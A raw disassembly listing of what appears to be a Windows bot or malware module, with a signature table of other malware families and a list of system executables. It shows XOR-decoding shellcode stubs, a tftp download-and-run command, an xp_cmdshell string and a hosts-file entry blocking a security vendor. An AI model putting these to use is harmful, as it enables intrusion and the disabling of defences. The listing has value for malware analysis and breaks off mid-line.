.text:0043F1C8o align 4 aGdi_exe db 'gdi.exe',0 ; DATA XREF: .text:0043F1C4o aGb2312_uce db 'gb2312.uce',0 ; DATA XREF: .text:0043F1C0o align 10h aFtp_exe db 'ftp.exe',0 ; DATA XREF: .text:0043F1BCo aFsutil_exe db 'fsutil.exe',0 ; DATA XREF: .text:0043F1B8o align 4 aFsquirt_exe db 'fsquirt.exe',0 ; DATA XREF: .text:0043F1B4o aFreecell_exe db 'freecell.exe',0 ; DATA XREF: .text:0043F1B0o align 10h aForcedos_exe db 'forcedos.exe',0 ; DATA XREF: .text:0043F1ACo align 10h aFontview_exe db 'fontview.exe',0 ; DATA XREF: .text:0043F1A8o align 10h aFltmc_exe db 'fltMc.exe',0 ; DATA XREF: .text:0043F1A4o align 4 aFixmapi_exe db 'fixmapi.exe',0 ; DATA XREF: .text:0043F1A0o aFinger_exe db 'finger.exe',0 ; DATA XREF: .text:0043F19Co align 4 aFindstr_exe db 'findstr.exe',0 ; DATA XREF: .text:0043F198o aFind_exe db 'find.exe',0 ; DATA XREF: .text:0043F194o align 4 aFc_exe db 'fc.exe',0 ; DATA XREF: .text:0043F190o align 4 aFastopen_exe db 'fastopen.exe',0 ; DATA XREF: .text:0043F18Co align 4 aExtrac32_exe db 'extrac32.exe',0 ; DATA XREF: .text:0043F188o align 4 aExpand_exe db 'expand.exe',0 ; DATA XREF: .text:0043F184o align 10h aExe2bin_exe db 'exe2bin.exe',0 ; DATA XREF: .text:0043F180o aEventvwr_exe db 'eventvwr.exe',0 ; DATA XREF: .text:0043F17Co align 4 aEventtriggers_ db 'eventtriggers.exe',0 ; DATA XREF: .text:0043F178o align 10h aEventcreate_ex db 'eventcreate.exe',0 ; DATA XREF: .text:0043F174o aEudcedit_exe db 'eudcedit.exe',0 ; DATA XREF: .text:0043F170o align 10h aEsentutl_exe db 'esentutl.exe',0 ; DATA XREF: .text:0043F16Co align 10h aEdlin_exe db 'edlin.exe',0 ; DATA XREF: .text:0043F168o align 4 aDxdiag_exe db 'dxdiag.exe',0 ; DATA XREF: .text:0043F164o align 4 aDwwin_exe db 'dwwin.exe',0 ; DATA XREF: .text:0043F160o align 4 aDvdupgrd_exe db 'dvdupgrd.exe',0 ; DATA XREF: .text:0043F15Co align 4 aDvdplay_exe db 'dvdplay.exe',0 ; DATA XREF: .text:0043F158o aDumprep_exe db 'dumprep.exe',0 ; DATA XREF: .text:0043F154o aDrwtsn32_exe db 'drwtsn32.exe',0 ; DATA XREF: .text:0043F150o align 4 aDrwatson_exe db 'drwatson.exe',0 ; DATA XREF: .text:0043F14Co align 4 aDriverquery_ex db 'driverquery.exe',0 ; DATA XREF: .text:0043F148o aDpvsetup_exe db 'dpvsetup.exe',0 ; DATA XREF: .text:0043F144o align 4 aDpnsvr_exe db 'dpnsvr.exe',0 ; DATA XREF: .text:0043F140o align 4 aDplaysvr_exe db 'dplaysvr.exe',0 ; DATA XREF: .text:0043F13Co align 4 aDosx_exe db 'dosx.exe',0 ; DATA XREF: .text:0043F138o align 4 aDoskey_exe db 'doskey.exe',0 ; DATA XREF: .text:0043F134o align 10h aDmremote_exe db 'dmremote.exe',0 ; DATA XREF: .text:0043F130o align 10h aDmadmin_exe db 'dmadmin.exe',0 ; DATA XREF: .text:0043F12Co aDllhst3g_exe db 'dllhst3g.exe',0 ; DATA XREF: .text:0043F128o align 4 aDllhost_exe db 'dllhost.exe',0 ; DATA XREF: .text:0043F124o aDiskperf_exe db 'diskperf.exe',0 ; DATA XREF: .text:0043F120o align 4 aDiskpart_exe db 'diskpart.exe',0 ; DATA XREF: .text:0043F11Co align 4 aDiantz_exe db 'diantz.exe',0 ; DATA XREF: .text:0043F118o align 4 aDfrgntfs_exe db 'dfrgntfs.exe',0 ; DATA XREF: .text:0043F114o align 4 aDfrgfat_exe db 'dfrgfat.exe',0 ; DATA XREF: .text:0043F110o aDefrag_exe db 'defrag.exe',0 ; DATA XREF: .text:0043F10Co align 4 aDebug_exe db 'debug.exe',0 ; DATA XREF: .text:0043F108o align 4 aDdeshare_exe db 'ddeshare.exe',0 ; DATA XREF: .text:0043F104o align 4 aDcomcnfg_exe db 'dcomcnfg.exe',0 ; DATA XREF: .text:0043F100o align 4 aCtfmon_exe db 'ctfmon.exe',0 ; DATA XREF: .text:0043F0FCo align 4 aCsrss_exe db 'csrss.exe',0 ; DATA XREF: .text:0043F0F8o align 10h aCscript_exe db 'cscript.exe',0 ; DATA XREF: .text:0043F0F4o aConvert_exe db 'convert.exe',0 ; DATA XREF: .text:0043F0F0o aControl_exe db 'control.exe',0 ; DATA XREF: .text:0043F0ECo aConime_exe db 'conime.exe',0 ; DATA XREF: .text:0043F0E8o align 10h aCompact_exe db 'compact.exe',0 ; DATA XREF: .text:0043F0E4o aComp_exe db 'comp.exe',0 ; DATA XREF: .text:0043F0E0o align 4 aCmstp_exe db 'cmstp.exe',0 ; DATA XREF: .text:0043F0DCo align 4 aCmmon32_exe db 'cmmon32.exe',0 ; DATA XREF: .text:0043F0D8o aCmdl32_exe db 'cmdl32.exe',0 ; DATA XREF: .text:0043F0D4o align 4 aClspack_exe db 'clspack.exe',0 ; DATA XREF: .text:0043F0CCo aClipsrv_exe db 'clipsrv.exe',0 ; DATA XREF: .text:0043F0C8o aClipbrd_exe db 'clipbrd.exe',0 ; DATA XREF: .text:0043F0C4o aCliconfg_exe db 'cliconfg.exe',0 ; DATA XREF: .text:0043F0C0o align 10h aCleanmgr_exe db 'cleanmgr.exe',0 ; DATA XREF: .text:0043F0BCo align 10h aCkcnv_exe db 'ckcnv.exe',0 ; DATA XREF: .text:0043F0B8o align 4 aCisvc_exe db 'cisvc.exe',0 ; DATA XREF: .text:0043F0B4o align 4 aCipher_exe db 'cipher.exe',0 ; DATA XREF: .text:0043F0B0o align 4 aCidaemon_exe db 'cidaemon.exe',0 ; DATA XREF: .text:0043F0ACo align 4 aChkntfs_exe db 'chkntfs.exe',0 ; DATA XREF: .text:0043F0A8o aChkdsk_exe db 'chkdsk.exe',0 ; DATA XREF: .text:0043F0A4o align 4 aChcfg_exe db 'ChCfg.exe',0 ; DATA XREF: .text:0043F0A0o align 4 aCharmap_exe db 'charmap.exe',0 ; DATA XREF: .text:0043F09Co aCalc_exe db 'calc.exe',0 ; DATA XREF: .text:0043F098o align 10h aCacls_exe db 'cacls.exe',0 ; DATA XREF: .text:0043F094o align 4 aBootvrfy_exe db 'bootvrfy.exe',0 ; DATA XREF: .text:0043F090o align 4 aBootok_exe db 'bootok.exe',0 ; DATA XREF: .text:0043F08Co align 4 aBootcfg_exe db 'bootcfg.exe',0 ; DATA XREF: .text:0043F088o aBlastcln_exe db 'blastcln.exe',0 ; DATA XREF: .text:0043F084o align 4 aAutolfn_exe db 'autolfn.exe',0 ; DATA XREF: .text:0043F080o aAutofmt_exe db 'autofmt.exe',0 ; DATA XREF: .text:0043F07Co aAutoconv_exe db 'autoconv.exe',0 ; DATA XREF: .text:0043F078o align 4 aAutochk_exe db 'autochk.exe',0 ; DATA XREF: .text:0043F074o aAuditusr_exe db 'auditusr.exe',0 ; DATA XREF: .text:0043F070o align 4 aAttrib_exe db 'attrib.exe',0 ; DATA XREF: .text:0043F06Co align 4 aAtmadm_exe db 'atmadm.exe',0 ; DATA XREF: .text:0043F068o align 10h aAti2mdxx_exe db 'Ati2mdxx.exe',0 ; DATA XREF: .text:0043F064o align 10h aAti2evxx_exe db 'ati2evxx.exe',0 ; DATA XREF: .text:0043F060o ; .text:0043F5A8o align 10h aAt_exe db 'at.exe',0 ; DATA XREF: .text:0043F05Co align 4 aAsr_pfu_exe db 'asr_pfu.exe',0 ; DATA XREF: .text:0043F058o aAsr_ldm_exe db 'asr_ldm.exe',0 ; DATA XREF: .text:0043F054o aAsr_fmt_exe db 'asr_fmt.exe',0 ; DATA XREF: .text:0043F050o aArp_exe db 'arp.exe',0 ; DATA XREF: .text:0043F04Co aAppend_exe db 'append.exe',0 ; DATA XREF: .text:0043F048o align 10h aAlg_exe db 'alg.exe',0 ; DATA XREF: .text:0043F044o aAhui_exe db 'ahui.exe',0 ; DATA XREF: .text:0043F040o align 4 aActmovie_exe db 'actmovie.exe',0 ; DATA XREF: .text:0043F03Co align 4 aAccwiz_exe db 'accwiz.exe',0 ; DATA XREF: .text:0043F038o align 10h aHdashcut_exe db 'HDAShCut.exe',0 ; DATA XREF: .text:0043F034o ; .text:0043F650o align 10h aKeystone_exe db 'keystone.exe',0 ; DATA XREF: .text:0043F030o align 10h aNwiz_exe db 'nwiz.exe',0 ; DATA XREF: .text:0043F02Co align 4 aNvcplui_exe db 'nvcplui.exe',0 ; DATA XREF: .text:0043F028o aNvdspsch_exe db 'nvdspsch.exe',0 ; DATA XREF: .text:0043F024o align 4 aNvcolor_exe db 'nvcolor.exe',0 ; DATA XREF: .text:0043F020o aNvappbar_exe db 'nvappbar.exe',0 ; DATA XREF: .text:0043F01Co align 4 aNvudisp_exe db 'nvudisp.exe',0 ; DATA XREF: .text:0043F018o aNvsvc32_exe db 'nvsvc32.exe',0 ; DATA XREF: .text:0043F014o aNvuninst_exe db 'NVUNINST.EXE',0 ; DATA XREF: .text:0043F010o align 4 aSview_exe db 'sview.exe',0 ; DATA XREF: .text:0043F00Co align 4 aNview_exe db 'nview.exe',0 ; DATA XREF: .text:0043F008o align 4 aWmsoft_exe db 'wmsoft*.exe',0 ; DATA XREF: .text:0043F004o ; .text:0043F644o ... aHttpWww_fireda db 'http://www.firedaemon.com',0 ; DATA XREF: .text:0043EFF4o align 4 aFiredaemon_b db 'FireDaemon.b',0 ; DATA XREF: .text:0043EFF0o align 4 aCopyrightC2007 db 'Copyright (c) 2007 FireDaemon Technologies Limited',0 ; DATA XREF: .text:0043EFECo align 10h aFiredaemon_a db 'FireDaemon.a',0 ; DATA XREF: .text:0043EFE8o align 10h aStrncpyWolffdi db 'strncpy(wolffdir, xdccdir, MAX_PATH); strncat(wolffdir, "\wolff",' ; DATA XREF: .text:0043EFE4o db ' MAX_PATH)',0 aWolf_kit db 'Wolf.Kit',0 ; DATA XREF: .text:0043EFE0o align 4 aDefineHe4_hook db '#define HE4_HOOK_INV_VERSION 0x20001005',0 ; DATA XREF: .text:0043EFDCo align 4 aHe4hookrootkit db 'He4HookRootkit-v2.15b',0 ; DATA XREF: .text:0043EFD8o align 4 aMsdirectx_sys db 'msdirectx.sys',0 ; DATA XREF: .text:0043EFD4o align 4 aFu_driver_b db 'FU.Driver.b',0 ; DATA XREF: .text:0043EFD0o aRdriv_sys db 'rdriv.sys',0 ; DATA XREF: .text:0043EFCCo align 4 aFu_driver_a db 'FU.Driver.a',0 ; DATA XREF: .text:0043EFC8o dword_441020 dd 301B3015h, 3054304Ah, 3067305Eh, 30AB3087h, 30C230B1h ; DATA XREF: .text:0043EFC4o dd 31C331B7h, 31DB31CFh, 327A31F5h, 338E332Fh, 33A7339Ah dd 343233AFh, 3442343Ah, 345A344Fh, 34E634B3h, 34F834EFh dd 350A3501h, 351C3513h, 357E3524h, 366B3589h, 369C3688h dd 36C336BAh, 36EE36E4h, 37133709h, 377C3775h, 3797378Bh dd 391A37B1h, 39333924h, 39B13943h, 3A0B3A05h, 3A243A16h dd 3A453A3Ah, 3A643A55h, 3A783A69h, 3A913A8Bh, 3AAD3A9Eh dd 3AC23AB9h, 3ADE3AD8h, 0 aFu_rootkit_dri db 'FU.Rootkit.Driver',0 ; DATA XREF: .text:0043EFC0o align 4 aStaticCharAc_d db 'static CHAR ac_driverName[] = "msdirectx.sys',0 ; DATA XREF: .text:0043EFBCo align 4 aFu_rootkit_c db 'FU.Rootkit.c',0 ; DATA XREF: .text:0043EFB8o align 4 aConstWcharDevi db 'const WCHAR deviceNameBuffer[] = L"\Device\msdirectx',0 ; DATA XREF: .text:0043EFB4o align 4 aFu_rootkit_b db 'FU.Rootkit.b',0 ; DATA XREF: .text:0043EFB0o align 4 aDefineFile_dev db '#define FILE_DEVICE_ROOTKIT 0x00002a7b',0 ; DATA XREF: .text:0043EFACo aFu_rootkit_a db 'FU.Rootkit.a',0 ; DATA XREF: .text:0043EFA8o align 10h aImportMsnMsnme db '#import "MSN/MSNMessengerAPI.tlb" named_guids, no_namespace',0 ; DATA XREF: .text:0043EFA4o aMsnbot_b db 'MSNBot.b',0 ; DATA XREF: .text:0043EFA0o align 4 aStaticConstCha db 'static const char *msg_english[] = {',0 ; DATA XREF: .text:0043EF9Co align 10h aMsnbot_a db 'MSNBot.a',0 ; DATA XREF: .text:0043EF98o align 4 aNircomline db 'NirComLine',0 ; DATA XREF: .text:0043EF90o ; .text:0043EF94o align 4 aPipeEpmapper db 'pipe\epmapper\',0 ; DATA XREF: .text:0043EF8Co align 4 aDcomOldScan db 'Dcom-Old-Scan',0 ; DATA XREF: .text:0043EF88o align 4 aR0lgodlhfaauak db 'R0lGODlhFAAUAKIAAAAAAP//////93d3cDAwIaGhgQEBP//////wAAACH5BAEAAAY' ; DATA XREF: .text:0043EF84o db 'ALAAAAAAUABQAAAM8',0 align 4 aC99 db 'c99',0 ; DATA XREF: .text:0043EF80o aI2luy2x1zgugph db 'I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZ' ; DATA XREF: .text:0043EF7Co db 'SA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZG' db 'UgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJ' db 'nYyxhcmd2KQ0KaW50I',0 align 4 aR57 db 'r57',0 ; DATA XREF: .text:0043EF78o aHiderunHiddenA db 'HideRun -- hidden application launcher.',0 ; DATA XREF: .text:0043EF74o aHiderun db 'HideRun',0 ; DATA XREF: .text:0043EF70o aSoftwareAdrian db 'Software\Adrian Lopez\HideWindow\Preferences HideWindow',0 ; DATA XREF: .text:0043EF6Co aHiderGui db 'Hider-Gui',0 ; DATA XREF: .text:0043EF68o align 10h aSoftwareMicr_4 db 'Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones' ; DATA XREF: .text:0043EF64o db '\3',0 aLowerzones db 'LowerZones',0 ; DATA XREF: .text:0043EF60o align 10h aWindowsupdate_ db 'windowsupdate.com',0 ; DATA XREF: .text:0043EF5Co align 4 aMsblast db 'MsBlast',0 ; DATA XREF: .text:0043EF58o dword_44144C dd 0FFFFFF43h, 1303030h, 282B1F0Ah, 132A12Bh, 0aBeagle db 'Beagle',0 ; DATA XREF: .text:0043EF50o align 4 aDonateToTheHur db 'Donate to the Hurricane Katrina relief effort.',0 ; DATA XREF: .text:0043EF4Co align 4 aBobic_b db 'Bobic.B',0 ; DATA XREF: .text:0043EF48o aOsamaBinLadenC db 'Osama Bin Laden Captured.',0 ; DATA XREF: .text:0043EF44o align 4 aBobic_a db 'Bobic.A',0 ; DATA XREF: .text:0043EF40o unk_4414C4 db 6Fh ; o ; DATA XREF: .text:0043EF3Co db 3, 50h, 73h aGetcurrentproc db 'GetCurrentProcessI',0 align 4 aTaskhider db 'TaskHider',0 ; DATA XREF: .text:0043EF38o align 4 loc_4414E8: ; DATA XREF: .text:0043EF34o jmp short loc_4414F9 ; --------------------------------------------------------------------------- loc_4414EA: ; CODE XREF: .text:loc_4414F9p pop ebx xor ecx, ecx sub cx, 0FFEEh loc_4414F1: ; CODE XREF: .text:004414F5j xor byte ptr [ebx], 55h inc ebx loop loc_4414F1 jmp short near ptr word_4414FE ; --------------------------------------------------------------------------- loc_4414F9: ; CODE XREF: .text:loc_4414E8j call loc_4414EA ; --------------------------------------------------------------------------- word_4414FE dw 0 ; CODE XREF: .text:004414F7j dword_441500 dd 69614D49h, 68532E6Ch, 6C6C65hdword_44150C dd 0D959506Ah, 2474D9EEh, 73815BF4h, 6F8C0F13h, 0 ; DATA XREF: .text:0043EF2Co dword_441520 dd 77537049h, 68637469h, 6568532Eh, 6C6Ch; --------------------------------------------------------------------------- loc_441530: ; DATA XREF: .text:0043EF24o jmp short near ptr word_4415A2 ; --------------------------------------------------------------------------- dw 3356h dd 408B64C0h, 78C08530h, 0C408B0Ch, 0 dword_441544 dd 4474654Eh, 532E4544h, 6C6C6568h, 0; --------------------------------------------------------------------------- loc_441554: ; DATA XREF: .text:0043EF1Co jmp short near ptr word_441566 ; --------------------------------------------------------------------------- dw 4B5Bh ; --------------------------------------------------------------------------- xor ecx, ecx mov cx, 125h loc_44155E: ; CODE XREF: .text:00441562j xor byte ptr [ebx+ecx], 99h loop loc_44155E ; --------------------------------------------------------------------------- db 2 dup(0) word_441566 dw 0 ; CODE XREF: .text:loc_441554j dword_441568 dd 68637653h, 2E74736Fh, 6C656853h, 6Chdword_441578 dd 8166C933h, 0D9FFB0E9h, 2474D9EEh, 73815BF4h, 0 ; DATA XREF: .text:0043EF14o dword_44158C dd 63626954h, 68532E6Fh, 6C6C65h; --------------------------------------------------------------------------- loc_441598: ; DATA XREF: .text:0043EF0Co jmp short loc_4415B3 ; --------------------------------------------------------------------------- dw 315Eh dd 89E981C9h db 0FFh, 0 word_4415A2 dw 0 ; CODE XREF: .text:loc_441530j aOld4444shell db 'Old4444Shell',0 ; DATA XREF: .text:0043EF08o db 2 dup(0) ; --------------------------------------------------------------------------- loc_4415B3: ; CODE XREF: .text:loc_441598j ; DATA XREF: .text:0043EF04o add [ebx+46h], dl push esp loc_4415B7: ; DATA XREF: .text:0043EF00o xor ds:53006925h, dh jnz short loc_441621 aaa ; --------------------------------------------------------------------------- dd 0 a022moptestmv1_ db '022OPtestv1.1',0Dh,0Ah,0 ; DATA XREF: .text:0043EEFCo align 4 aOptix db 'Optix',0 ; DATA XREF: .text:0043EEF8o align 10h aPleaz_runS db 'pleaz_run%s',0 ; DATA XREF: .text:0043EEF4o aNetdevil db 'NetDevil',0 ; DATA XREF: .text:0043EEF0o align 4 aSystemrootSyst db '%systemroot%\system32\cmd.exe',0 ; DATA XREF: .text:0043EEECo align 4 aVncscan db 'VNCScan',0 ; DATA XREF: .text:0043EEE8o byte_441620 db 80h ; DATA XREF: .text:0043EEE4o ; --------------------------------------------------------------------------- loc_441621: ; CODE XREF: .text:004415BDj bound eax, [ecx] add bh, [ebp+1000100h] add [esi], dl ; --------------------------------------------------------------------------- db 8Fh dd 182h aIis5ssl db 'IIS5SSL',0 ; DATA XREF: .text:0043EEE0o aMain_0 db '[MAIN]: ',0 ; DATA XREF: .text:0043EEDCo align 4 aRxMain db 'Rx Main',0 ; DATA XREF: .text:0043EED8o ; --------------------------------------------------------------------------- loc_44164C: ; DATA XREF: .text:0043EED4o mov edi, ecx xor al, al inc al repne scasb jmp edi ; --------------------------------------------------------------------------- align 4 aWebdav db 'WebDav',0 ; DATA XREF: .text:0043EED0o align 10h ; aExecMaster(long long, *) aExecMaster__xp db 'EXEC master..xp_cmdshell',0 ; DATA XREF: .text:0043EECCo align 4 aMssql_b db 'MSSQL.B',0 ; DATA XREF: .text:0043EEC8o aThcthcthcthcth db 'THCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHC',0 ; DATA XREF: .text:0043EEC4o align 4 aMssql_a db 'MSSQL.A',0 ; DATA XREF: .text:0043EEC0o a8d9f4e40A03d11 db '8d9f4e40-a03d-11ce-8f69-08003e30051b',0 ; DATA XREF: .text:0043EEBCo align 4 aPnp_b db 'PNP.b',0 ; DATA XREF: .text:0043EEB8o align 10h dword_4416F0 dd 0E983C929h, 0D9EED9B0h, 5BF42474h, 19137381h, 0 ; DATA XREF: .text:0043EEB4o dword_441704 dd 2E504E50h, 61hdword_44170C dd 41435302h, 3A3A204Eh, 220hdword_441718 dd 43207852h, 726F6C6Fh, 6E616353h, 622Eha127_0_0_1Www_s db 0Ah ; DATA XREF: .text:0043EEA4o db '127.0.0.1',9,'www.symantec.com',0Ah,0 align 4 aChangehosts db 'ChangeHosts',0 ; DATA XREF: .text:0043EEA0o dword_441754 dd 57501C43h, 5AD1FF56h, 8430358h, 8B52F88Bh, 0dword_441768 dd 6C6C6548h, 2E746F62h, 62hdword_441774 dd 6C6C6548h, 2E746F62h, 61haRpcpatch_mutex db 'RpcPatch_Mutex',0 ; DATA XREF: .text:0043EE8Co align 10h aWelchia_a db 'Welchia.a',0 ; DATA XREF: .text:0043EE88o align 4 aAddexExinfo db 'AddEx(exinfo)',0 ; DATA XREF: .text:0043EE84o align 4 aZotobForbotMod db 'Zotob/ForBot Mods',0 ; DATA XREF: .text:0043EE80o align 10h dword_4417C0 dd 0DDCA6D6Ah, 8090F0E4h, 4A22Fh ; .text:0043EE94o aBlaster db 'Blaster',0 ; DATA XREF: .text:0043EE78o align 8 aFbsgjnerZvpe_0 db 'Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\PbzQyt32\Irefv' ; DATA XREF: .text:0043EE74o db 'ba',0 aMydoom_c db 'MyDoom.C',0 ; DATA XREF: .text:0043EE70o align 4 aFbsgjnerZvpebf db 'Fbsgjner\Zvpebfbsg\JNO\JNO4\Jno Svyr Anzr',0 ; DATA XREF: .text:0043EE6Co align 4 aMydoom_b db 'MyDoom.B',0 ; DATA XREF: .text:0043EE68o align 10h dword_441860 dd 9E3C1385h, 0A2hdword_441868 dd 6F44794Dh, 412E6D6Fh, 2 dup(0)aSendingYouPack db '** Sending you pack #%i ("%s"), which is %sB (resume supported)',0 ; DATA XREF: .text:0043EE5Co aIrofferAll db 'Iroffer-All',0 ; DATA XREF: .text:0043EE58o aTotalOffered1_ db 'Total Offered: %1.1f MB Total Transferred: %1.2f %cB',0 ; DATA XREF: .text:0043EE54o align 4 aIroffer_b db 'Iroffer.b',0 ; DATA XREF: .text:0043EE50o align 4 aHttpIroffer_or db 'http://iroffer.org/',0 ; DATA XREF: .text:0043EE4Co aIroffer_a db 'Iroffer.a',0 ; DATA XREF: .text:0043EE48o align 4 aRoot_start db 'root.start',0 ; DATA XREF: .text:0043EE44o align 4 aOtherbot_b db 'Otherbot.b',0 ; DATA XREF: .text:0043EE40o align 10h aScan_start db 'scan.start',0 ; DATA XREF: .text:0043EE3Co align 4 aOtherbot_a db 'Otherbot.a',0 ; DATA XREF: .text:0043EE38o align 4 aRpc_c db 'RPC.c:',0 ; DATA XREF: .text:0043EE34o align 10h aLinkbot_rpc db 'Linkbot.RPC',0 ; DATA XREF: .text:0043EE30o aDcom2 db 'dcom2:',0 ; DATA XREF: .text:0043EE2Co align 4 aLinkbot_dcom_c db 'Linkbot.dcom.c',0 ; DATA XREF: .text:0043EE28o align 4 aDcom2_c db 'dcom2.c:',0 ; DATA XREF: .text:0043EE24o align 10h aLinkbot_dcom_b db 'Linkbot.dcom.b',0 ; DATA XREF: .text:0043EE20o align 10h dword_4419A0 dd 234032Dh, 6D6F6364h, 2632E32h, 2D03hdword_4419B0 dd 6B6E694Ch, 2E746F62h, 6D6F6364h, 612Ehdword_4419C0 dd 63737069h, 2A206E61h, 2A2E2A2Eh, 2A2Ehdword_4419D0 dd 6B6E694Ch, 2D746F62h, 6E616353h, 612Ehdword_4419E0 dd 4D9F4AB8h, 8611CF1Ch, 1EhaRmact db 'RMACT',0 ; DATA XREF: .text:0043EE08o align 4 aWeBackLooooooo db 'We BaCk LoooooooooooOOOOOOOOOOOOOooo',0 ; DATA XREF: .text:0043EE04o align 4 aQ8 db 'Q8',0 ; DATA XREF: .text:0043EE00o align 10h dword_441A20 dd 0F254C481h, 0E8FCFFFFh, 46hoff_441A2C dd offset byte_4E5341 ; DATA XREF: .text:0043EDF8o dword_441A30 dd 0D959516Ah, 2474D9EEh, 0F4haNetapi4444bind db 'Netapi4444Bind',0 ; DATA XREF: .text:0043EDF0o align 4 a3GsUT db '3Ƀt',0 ; DATA XREF: .text:0043EDECo align 4 off_441A58 dd offset byte_4D5953 ; DATA XREF: .text:0043EDE8o dword_441A5C dd 0E983C933h, 0D9EED9AFh, 74haC101 db 'C101',0 ; DATA XREF: .text:0043EDE0o align 10h loc_441A70: ; DATA XREF: .text:0043EDDCo jmp short loc_441A74 ; --------------------------------------------------------------------------- loc_441A72: ; CODE XREF: .text:loc_441A74p jmp short near ptr byte_441A79 ; --------------------------------------------------------------------------- loc_441A74: ; CODE XREF: .text:loc_441A70j call loc_441A72 ; --------------------------------------------------------------------------- byte_441A79 db 3 dup(0) ; CODE XREF: .text:loc_441A72j dword_441A7C dd 412E5450h, 0 dword_441A84 dd 4143535Bh, 203A5D4Eh, 0dword_441A90 dd 53207852h, 6E6163hdword_441A98 dd 0D959506Ah, 2474D9EEh, 0F4hdword_441AA4 dd 5D42525Bh, 53746F42h, 6C6C6568h, 0dword_441AB4 dd 34D9E1D9h, 58585824h, 58hdword_441AC0 dd 6F626159h, 612E74h; --------------------------------------------------------------------------- loc_441AC8: ; DATA XREF: .text:0043EDBCo jmp short near ptr aTftp_0+6 ; --------------------------------------------------------------------------- dw 758Bh dd 35748B3Ch, 78h dword_441AD4 dd 47323357h, 53206E65h, 43haCmdCTftpISGetS db 'cmd /c tftp -i %s GET %s &start %s &exit',0 ; DATA XREF: .text:0043EDB4o align 4 aTftpget_b db 'TFTPGet.b',0 ; DATA XREF: .text:0043EDB0o align 4 aTftp_0 db '[TFTP]',0 ; CODE XREF: .text:loc_441AC8j ; DATA XREF: .text:0043EDACo align 10h aRxTftp db 'Rx TFTP',0 ; DATA XREF: .text:0043EDA8o aTftpISGetSS db 'tftp -i %s get %s &%s',0Ah,0 ; DATA XREF: .text:0043EDA4o align 10h aTftpget_a db 'TFTPGet.a',0 ; DATA XREF: .text:0043EDA0o align 4 a220BotServerWi db '220 Bot Server (Win32)',0Dh,0Ah,0 ; DATA XREF: .text:0043ED9Co align 4 aPhatbot db 'PhatBot',0 ; DATA XREF: .text:0043ED98o a220WelcomeToBo db '220 "Welcome to Bot FTP service."',0Dh,0Ah,0 ; DATA XREF: .text:0043ED94o aAgobot db 'AgoBot',0 ; DATA XREF: .text:0043ED90o align 4 aStnyftpd0wnsJ0 db 'StnyFtpd 0wns j00',0 ; DATA XREF: .text:0043ED8Co align 10h aStnyftpd db 'StnyFtpd',0 ; DATA XREF: .text:0043ED88o align 4 aReptileWelcome db 'Reptile welcomes you...',0 ; DATA XREF: .text:0043ED84o aRepFtpd db 'Rep FTPd',0 ; DATA XREF: .text:0043ED80o align 10h loc_441BE0: ; DATA XREF: .text:0043ED7Co jmp short near ptr word_441BF2 ; --------------------------------------------------------------------------- dw 4B5Bh dd 0B966C933h, 25h dword_441BEC dd 4C205852h db 53h, 0 word_441BF2 dw 0 ; CODE XREF: .text:loc_441BE0j dword_441BF4 dd 5054465Bh, 203A5Dhdword_441BFC dd 46207852h, 7074h; --------------------------------------------------------------------------- loc_441C04: ; DATA XREF: .text:0043ED6Co jmp short loc_441C16 ; --------------------------------------------------------------------------- dw 4A5Ah dd 0B966C933h, 7Dh dword_441C10 dd 20706552h ; --------------------------------------------------------------------------- push ebx inc ebx loc_441C16: ; CODE XREF: .text:loc_441C04j xor al, [eax] loc_441C18: ; DATA XREF: .text:0043ED64o jmp short near ptr word_441C2A ; --------------------------------------------------------------------------- dw 4A5Ah dd 0B966C933h, 66h dword_441C24 dd 53205852h db 43h, 32h word_441C2A dw 0 ; CODE XREF: .text:loc_441C18j dword_441C2C dd 364C033h, 0C783040h, 8Bhdword_441C38 dd 53205852h, 3143hdword_441C40 dd 43524902h, 203A3A20h, 2dword_441C4C dd 43207852h, 726F6C6Fh, 2E435249h, 62hdword_441C5C dd 49414D02h, 3A3A204Eh, 220hdword_441C68 dd 43207852h, 726F6C6Fh, 622Ehdword_441C74 dd 63533A3Ah, 3A3A6E61h, 0dword_441C80 dd 43207852h, 726F6C6Fh, 6E616353h, 0dword_441C90 dd 614D3A3Ah, 3A3A6E69h, 0dword_441C9C dd 43207852h, 726F6C6Fh, 0dword_441CA8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: .text:0043ED34o dd 2BBBB02h, 73552020h, 7265h dword_441CC8 dd 5A4E7852h, 632E4Dha_n_z_m_Irc_p_l db '.n.z.m. (irc.p.l.g) .. ',0 ; DATA XREF: .text:0043ED2Co align 4 aRxnzm_b db 'RxNZM.b',0 ; DATA XREF: .text:0043ED28o dword_441CF4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: .text:0043ED24o dd 2BBBB02h, 20h aRxnzm db 'RxNZM',0 ; DATA XREF: .text:0043ED20o align 4 dword_441D18 dd 234032Dh, 6E69616Dh, 202D0302h, 0dword_441D28 dd 4C2D7852h, 2D6B6E69h, 2E414950h, 63hdword_441D38 dd 234032Dh, 6E616373h, 202D0302h, 0dword_441D48 dd 4C2D7852h, 2D6B6E69h, 414950hdword_441D54 dd 5446545Bh, 3A5D4450h, 20hdword_441D60 dd 54207852h, 64505446h, 0dword_441D6C dd 5446545Bh, 203A5D50h, 0dword_441D78 dd 54207852h, 2E505446h, 62hdword_441D84 dd 50544654h, 2F2Fhdword_441D8C dd 53207852h, 6873616Ch, 7446542Dh, 70hdword_441D9C dd 4E414353h, 2F2Fhdword_441DA4 dd 53207852h, 6873616Ch, 6163532Dh, 6Ehdword_441DB4 dd 4E49414Dh, 2F2Fhdword_441DBC dd 53207852h, 6873616Ch, 0dword_441DC8 dd 4F57445Bh, 414F4C4Eh, 203A5D44h, 0dword_441DD8 dd 44207852h, 6C6E776Fh, 64616Fhdword_441DE4 dd 5054465Bh, 203A5D44h, 0dword_441DF0 dd 46207852h, 447074hdword_441DF8 dd 59454B5Bh, 5D474F4Ch, 203Ahdword_441E04 dd 4B207852h, 6F4C7965h, 67hdword_441E10 dd 234032Dh, 2637269h, 2D03haPiabot db 